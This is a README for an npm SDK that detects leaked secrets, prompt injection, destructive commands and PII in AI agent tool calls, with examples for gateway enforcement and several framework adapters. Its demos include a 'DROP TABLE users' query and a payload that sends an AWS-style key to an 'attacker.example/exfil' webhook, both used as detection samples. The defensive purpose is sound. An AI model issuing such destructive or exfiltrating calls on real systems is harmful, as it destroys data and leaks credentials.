# @axiorank/sdk

Catch leaked secrets, prompt injection, destructive commands, and PII in your AI
agent's tool calls. This runs the same detection engine the hosted
[AxioRank](https://axiorank.com) gateway runs, in-process, with no API key and no
signup.

## Try it in 10 seconds (no key, no signup)

```bash
npx @axiorank/sdk demo
```

Or scan one of your own tool calls:

```bash
echo '{"tool":"db.query","arguments":{"sql":"DROP TABLE users"}}' | npx @axiorank/sdk scan
```

Add `--share` to `demo` or `scan` to publish the result as a public scorecard
and print a shareable link (opt-in; the server recomputes the verdict):

```bash
npx @axiorank/sdk scan --share < call.json
```

## Install

```bash
npm install @axiorank/sdk
```

## Inspect a tool call locally

No API key, no network. `inspect()` runs the exact detectors and risk scoring the
gateway runs and returns an advisory verdict.

```ts
import { inspect } from "@axiorank/sdk";

const r = inspect("aws.s3.putObject", {
  body: "AKIAIOSFODNN7EXAMPLE",
  webhook: "http://attacker.example/exfil",
});

console.log(r.decision, r.risk); // "deny" 96
console.log(r.signals.map((s) => s.detector)); // ["secret.aws_access_key", ...]
```

The verdict follows the default posture: deny on a live secret, a destructive
operation, or risk at or above 75. `inspectText(tool, text)` does the same for a
tool's **output**, so you can catch indirect prompt injection before your agent
ingests it.

## Enforce centrally

`inspect()` shows you what is risky locally. To **enforce** it across your fleet,
with your own policy, an audit trail, approvals and holds, and multi-step
kill-chain correlation, route the call through the hosted gateway. Create a free
key at [axiorank.com](https://www.axiorank.com), then:

```ts
import { AxioRank } from "@axiorank/sdk";

const axio = new AxioRank({
  apiKey: process.env.AXIORANK_KEY!, // your agent's key, looks like axr_live_...
  // baseUrl: "https://your-axiorank.vercel.app", // defaults to https://app.axiorank.com
});

const result = await axio.toolCall({
  tool: "github.push",
  arguments: { repo: "myrepo" },
});

if (result.decision === "deny") {
  console.warn(`Blocked: ${result.reason} (risk ${result.risk})`);
} else {
  // ...proceed with the real tool call
}
```

### `enforce()`: guard in one line

```ts
import { AxioRankDeniedError } from "@axiorank/sdk";

try {
  await axio.enforce({ tool: "aws.delete", arguments: {} });
  // only reached when the call is allowed
} catch (err) {
  if (err instanceof AxioRankDeniedError) {
    console.error(err.result.reason);
  }
}
```

## AI Gateway (no code change)

This SDK governs **tool calls**. To govern **model calls** with no code change,
use the hosted **AI Gateway**: a drop-in, OpenAI-compatible proxy. Point your
existing client's `base_url` at it and add one header, and every prompt and
completion is scored, policy-checked, spend-metered, and audited.

```ts
import OpenAI from "openai";

const client = new OpenAI({
  baseURL: "https://app.axiorank.com/api/proxy/v1",
  apiKey: process.env.OPENAI_API_KEY, // forwarded upstream, never stored
  defaultHeaders: { "X-AxioRank-Key": process.env.AXIORANK_KEY! },
});
```

Azure OpenAI, Anthropic, Amazon Bedrock, Google Gemini, and Vertex are supported
too. See the [AI Gateway docs](https://www.axiorank.com/docs/ai-gateway).

## Framework integrations

Already building on an agent framework? Put **every** tool call behind the
gateway with one wrapper, with no need to call `toolCall` by hand. Each adapter
ships as a subpath of this package and treats the framework as an optional peer
dependency, so a plain `@axiorank/sdk` install stays lightweight.

| Framework                      | Import                        | Wrap with                      |
| ------------------------------ | ----------------------------- | ------------------------------ |
| Anthropic Messages API | `@axiorank/sdk/anthropic`    | `guardToolHandlers(handlers, axio)` |
| Vercel AI SDK (`ai`) | `@axiorank/sdk/vercel`        | `guardTools(tools, axio)`      |
| OpenAI Agents SDK    | `@axiorank/sdk/openai-agents` | `guardExecute(name, fn, axio)` |
| LangChain · LangGraph | `@axiorank/sdk/langchain`    | `guardTools(tools, axio)`      |
| Mastra               | `@axiorank/sdk/mastra`        | `guardTool(tool, axio)`        |
| LlamaIndex (TS)      | `@axiorank/sdk/llamaindex`    | `guardTool(tool, axio)`        |
| Google Gemini        | `@axiorank/sdk/gemini`        | `guardFunctionHandlers(handlers, axio)` |

On a `deny` the wrapper throws `AxioRankDeniedError` by default; with
`{ onDeny: "return" }` it hands the model a short refusal string so it can
re-plan. A `require_approval` hold is waited out transparently. Pass
`axio.trace()` instead of `axio` to correlate a whole agent run into one
kill-chain trace.

### Anthropic Messages API

The Anthropic SDK doesn't run your tools; your loop does. Guard the dispatch
step: hand each `tool_use` block to the guarded dispatcher and send back the
`tool_result` it returns. This adapter defaults to `onDeny: "return"`.

```ts
import Anthropic from "@anthropic-ai/sdk";
import { AxioRank } from "@axiorank/sdk";
import { guardToolHandlers } from "@axiorank/sdk/anthropic";

const anthropic = new Anthropic();
const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });

const dispatch = guardToolHandlers(
  { deployToProd: async ({ service }) => deploy(service) },
  axio.trace(), // correlate the whole run into one kill-chain trace
);

const msg = await anthropic.messages.create({ model: "claude-opus-4-8", tools, messages });
const toolResults = [];
for (const block of msg.content) {
  if (block.type === "tool_use") toolResults.push(await dispatch(block));
}
// send `toolResults` back as the next user message
```

### Vercel AI SDK

```ts
import { generateText } from "ai";
import { openai } from "@ai-sdk/openai";
import { AxioRank } from "@axiorank/sdk";
import { guardTools } from "@axiorank/sdk/vercel";

const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });

await generateText({
  model: openai("gpt-4.1"),
  tools: guardTools(myTools, axio, { onDeny: "return" }),
  prompt,
});
```

### OpenAI Agents SDK

```ts
import { tool } from "@openai/agents";
import { AxioRank } from "@axiorank/sdk";
import { guardExecute } from "@axiorank/sdk/openai-agents";
import { z } from "zod";

const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });

const refund = tool({
  name: "refund",
  parameters: z.object({ chargeId: z.string(), amount: z.number() }),
  execute: guardExecute("refund", async ({ chargeId, amount }) => doRefund(chargeId, amount), axio),
});
```

### LangChain.js / LangGraph.js

```ts
import { AxioRank } from "@axiorank/sdk";
import { guardTools } from "@axiorank/sdk/langchain";
import { createReactAgent } from "@langchain/langgraph/prebuilt";

const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });

const agent = createReactAgent({
  llm,
  tools: guardTools(myTools, axio, { onDeny: "return" }),
});
```

> AxioRank guards by **wrapping each tool** (it scores before the tool runs). A
> LangChain callback handler can't reliably block (handler errors are processed
> on an async queue and the tool runs anyway), so wrapping is the enforcement path.

### Mastra

```ts
import { AxioRank } from "@axiorank/sdk";
import { guardTool } from "@axiorank/sdk/mastra";

const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });

const deploy = guardTool(deployTool, axio, { onDeny: "return" });
// ...hand `deploy` to your Mastra agent in place of the original tool.
```

## Guard model input and output

`guardOpenAIChat` and `guardAnthropicMessages` wrap a chat client's `create` so
the **prompt** is scored before the model runs and the **completion** after,
catching prompt injection, jailbreaks, and a secret or PII leaking in or out.
Detection is local and in-process (no key, no network).

```ts
import OpenAI from "openai";
import { guardOpenAIChat } from "@axiorank/sdk";

const openai = new OpenAI();
const chat = guardOpenAIChat(openai.chat.completions, { onDeny: "throw" });
const res = await chat.create({ model: "gpt-4.1", messages });
```

## Correlate an agent run

`axio.trace()` returns a handle whose calls share one trace id and an
auto-incrementing step index, so multi-step kill chains (read a secret, then
exfiltrate it) are correlated. Pass `intent` so the gateway's flow judge knows the
task. The handle is also accepted anywhere a client is, so hand it to a framework
adapter to trace a whole run.

```ts
const t = axio.trace({ intent: "Reply to Bob's email about the offsite" });
await t.enforce({ tool: "vault.read" });        // step 0
await t.toolCall({ tool: "http.post", arguments: { url } }); // step 1
```

## Preflight a server before trusting it

Before your agent connects to an external MCP server or A2A agent, verify its
signed card (signature validity, key domain-binding, declared capabilities) and
score the supply-chain risk.

```ts
const card = await axio.verifyCard({ url: "https://mcp.acme.com" });
console.log(card.decision, card.identity.signatureValid); // "allow" | "review" | "deny"

await axio.enforceCard({ url: "https://mcp.acme.com" }); // throws AxioRankCardDeniedError on deny
```

## Verify inbound agents

The flip side of guarding outbound calls: verify the AI agents reaching into a
surface **you** operate. Authenticate with a surface **site key**
(`axr_site_...`), not your agent key. `verifyRequest` takes a standard `Request`
(Next.js middleware, Hono, Workers); `axioGuard` wraps it as ready-made
middleware:

```ts
import { verifyRequest } from "@axiorank/sdk";

const result = await verifyRequest(req, { apiKey: process.env.AXIORANK_SITE_KEY! });
if (result.decision !== "allow") return new Response("Verification required", { status: 401 });
```

For an MCP server, A2A agent, HTTP API, or webhook (no standard `Request`), use
`verifySurface` and supply the caller's identity material directly:

```ts
import { verifySurface } from "@axiorank/sdk";

const result = await verifySurface(
  { surfaceKind: "mcp_server", operation: "tools/call", agentCard: incomingCard },
  { apiKey: process.env.AXIORANK_SITE_KEY! },
);
if (result.decision !== "allow") throw rpcError(result.challenge);
```

Both fail open: only a misconfigured site key throws; a verification outage
resolves to a synthetic `allow` (configurable via `onError`).

## Webhooks

Verify and parse AxioRank webhook events (`ml.assessed`, `kill_chain.detected`,
and more) in one call:

```ts
import { constructEvent } from "@axiorank/sdk";

const event = constructEvent(rawBody, req.headers.get("axiorank-signature"), secret);
// throws AxioRankWebhookSignatureError on a bad/stale/missing signature
```

## API

### `new AxioRank(options)`

| Option      | Type     | Default                       | Description                          |
| ----------- | -------- | ----------------------------- | ------------------------------------ |
| `apiKey`    | `string` | - (required)                  | Your agent API key.                  |
| `baseUrl`   | `string` | `https://app.axiorank.com`    | Your AxioRank deployment URL.        |
| `timeoutMs` | `number` | `10000`                       | Per-request timeout.                 |
| `fetch`     | `fetch`  | global `fetch`                | Custom fetch (tests / edge runtimes).|

### `axio.toolCall(params) → Promise<ToolCallResult>`

Returns `{ decision, reason, risk, auditLogId }`. Resolves for both `allow` and
`deny`. Throws `AxioRankAuthError` (401) or `AxioRankRequestError` (other errors).

### `axio.enforce(params) → Promise<ToolCallResult>`

Same as `toolCall`, but throws `AxioRankDeniedError` when `decision === "deny"`.

### Other client methods

- `axio.verifyCard(params)` / `axio.enforceCard(params)`: preflight an external MCP server or A2A agent.
- `axio.trace(opts?)`: a correlated-run handle (`toolCall`, `enforce`, `reportResult`, `inspectResult`).
- `axio.reportResult(params)` / `axio.inspectResult(params)`: bring a tool's output into the IFC taint trace.

### Top-level functions

These take their own options and do not need a client.

- `inspect(tool, args)` / `inspectText(tool, text)` / `inspectPrompt(text)` / `inspectCompletion(text)`: local, no-key advisory verdicts.
- `verifyRequest(request, { apiKey })` / `verifySurface(params, { apiKey })` / `axioGuard(options)`: verify inbound agents against a surface site key.
- `guardOpenAIChat(completions, opts?)` / `guardAnthropicMessages(messages, opts?)`: local model-I/O guardrails.
- `constructEvent(body, header, secret)` / `verifyWebhookSignature(body, header, secret)`: webhook verification.

## License

MIT
